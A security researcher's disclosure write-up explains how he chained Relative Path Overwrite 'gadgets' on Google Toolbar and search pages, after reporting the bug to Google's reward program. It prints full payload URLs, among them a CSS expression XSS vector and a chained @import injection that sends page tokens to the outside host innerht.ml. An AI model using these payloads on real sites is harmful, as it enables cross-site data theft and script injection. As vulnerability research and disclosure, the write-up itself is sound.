If you are here because you thought the title meant Return Oriented Programming (ROP), then sorry for the clickbait. I wanted to introduce a techninque to help exploit Relative Path Overwrite (RPO) when XSS is not an option by chaining "gadgets". This will be the first part of the series of me exploiting RPO against Google's services. Since this is an advanced topic, readers are expected to have fundmental RPO knowledge. (If not, I recommend reading the original introduction by Gareth and a real life RPO bug in phpBB by James.
We know RPO (actually PRSSI as coined by James, but well) relies on the fact that CSS parser tolerates illegal syntax in quirks mode (aka lax parsing). Naturally, the first step to seek RPO vulnerability is to check if a page serves correct doctype. Then, we look for relative stylesheet imports.
It didn't take me too long to find such a target on Google (Google Toolbar):
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
<html> <head> <title>Google Toolbar API - Guide to Making Custom Buttons</title> <link href="../../styles.css" rel="stylesheet" type="text/css" />
[..]
The next step involves fiddling how the target server interprets path. For browsers, directory is separated by a slash. However, for servers having a slash in the path doesn't necessarily mean there's a directory. For example, JSP accepts path parameter, which treats everything following a semi-colon as parameter (e.g. http://example.com/path;/notpath), while browsers do not recognize this pattern and think it is still within the path and there is a directory.
Likewise, Google Toolbar has its own quirk interpreting path. Basically, there seems to be a proxy which processes requests and decodes everything in the path before dispatching them to the real server. This allows us to replace a slash with %2f
in the path:
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
(Highlighted areas represent base path)
Now the browser thinks the base path is /tools/toolbar/buttons/
instead of /tools/toolbar/buttons/apis/
, hence the reference to ../../style.css
jumps up one extra level.
But can we do better than jumping up directories? Of course. We can fake directories. Say, we want to import a stylesheet located at /tools/fake/styles.css
(Note: this no longer works): http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
(Highlighted areas represent base path)
Here we can add two dummy "directories", fake/
and ..%2f
into the path, so that they cancel out each other on server side, while browser thinks fake/
is a real directory and ..%2ftoolbar
is another directory. In theory, we can do this at the root and import any stylesheet on https://www.google.com/*/styles.css. Unfortunately, there is a bummer: The proxy is only effective on https://www.google.com/tools/*/styles.css. In other words, any path encoding magic outside /tools/
will not work. Though it allows us to import any stylesheet on https://www.google.com/tools/*/styles.css.
I was looking all over the place only to find out everything there is static, except http://www.google.com/tools/toolbar/buttons/gallery which redirects to the Google Toolbar Button Gallery http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1.
Now things get interesting again, as Button Gallery has a q
parameter for specifing the search term, which is reflected on the page. Let's inject a simple RPO payload:
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}
Great! If only we can somehow reference the stylesheet to it. One thing that helps solving the puzzle is the fact that the redirect takes care of query string. For example, http://www.google.com/tools/toolbar/buttons/gallery?foo=bar will redirect us to http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar, with the query string attached to it.
The final step is to figure out how to perserve the query string when we reference it as a stylesheet. RPO requires a persistent injection because the referenced stylesheet does not contain query string itself. But thanks to the path decoding behavior, we can make the stylesheet reference the Button Gallery with our payload: http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
Server's perspective/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/..//apis/howto_guide.htmlBrowser's perspective/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.htmlImported stylesheet/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/../../style.css ⇓ /tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css⇓ /gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css(The last two highlighted areas represent the injected payload, the others base path)
Ta-da! Ketchup all over the page.
Can we do better than that? Sure. Let's change the payload to the legendary CSS XSS vector expression(alert(document.domain))
and boot up the IE8 VM: http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bx%253Aexpression(alert(document.domain))%257D/..%2f/apis/
Great. Let's try IE9... Nothing pops up. What?
X-Content-Type-Options: nosniff
X-Content-Type-Options: nosniff
X-Content-Type-Options: nosniff
So it turns out Google has this darn "defense-in-depth" header set everywhere which prevents the Button Gallery to be loaded as a stylesheet. This works in IE8 because obviously IE8 does not recognize this header, and other browsers because they omit this header when a resource is loaded same-origin. Suddenly all our efforts are in vain because the Google Vulnerability Reward Program (VRP) rules clearly state that:
[..] In particular, we exclude Internet Explorer prior to version 9
We can still try to leak tokens or secret data if there is any on Google Toolbar in Chrome and Firefox, but as mentioned there are only static pages. Edurado (the guy behind Google VRP) seems to encourage PRSSI submissions so I say I'll give it a spin.
What is the impact though? I don't know, maybe phishing via content injection as we can control CSS to generate a more powerful visual spoofing effect:
Hey,
Thanks for your bug report. We've taken a look at your submission and can confirm this is not a security vulnerability. Content spoofing in general is not considered a technical vulnerability, as it relies on a successful social engineering attack, which could be accomplished without this behavior.
Regards,
I should have known the results.
Hmm... What if we use RPO to steal secrets on other pages instead? Another interesting thing about CSS is that in quirks mode, lax parsing applies to all imported stylesheets as long as they are on the same origin. This opens up a new possibility because we can use Button Gallery as a gadget to import any pages on https://www.google.com/* as stylesheets, and if those imported "stylesheets" contain secret data and injection points, we can try to steal it by injecting CSS magic.
CSS magic may sound a bit cryptic, but as it goes on things should be becoming clearer. Anyway, the whole point is to find a page which contains secret data, inject something, make the secret data part of our created CSS rule, and have it sent off-site. There are some minimum requirements of the such a page (or, let's call it gadget from now on):
%0a
, %0c
and %0d
so that the parser state can be recovered from an incorrect stateIt took me some time to realize the search page meets all the requirements: http://www.google.com/search?nord=1&q={}%0a@import"//innerht.ml?
First thing to notice is that the page is optimized for speed so that the HTML is compressed and there are only few line breaks. Following the payload there are some tokens that are generated randomly. I don't know what they represent but being able to steal them should be enough to prove that this attack can indeed exfiltrate data (In fact, later I found another gadget that allowed me to leak current user's gmail address, but that's another story). The highlighted part in the screenshot is where the magic happens: we use @import"//innerht.ml?
to create an import rule, then everything trailing until double quote will be consumed as part of our controlled URL! The browser then issues a request to that URL trying to import the "stylesheet" and the secret data is leaked. Eventually we chain every gadget and get this frankenstein: http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html
Reporting again:
** NOTE: This is an automatically generated email **
Hello,
Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel has decided to issue a reward of $1337.
Phew.
I believe this should be the first time a successful RPO attack executed in practice. Most importantly, I hope this post might give you some insights of how RPO works without XSS and how to identify a RPO vulnerability.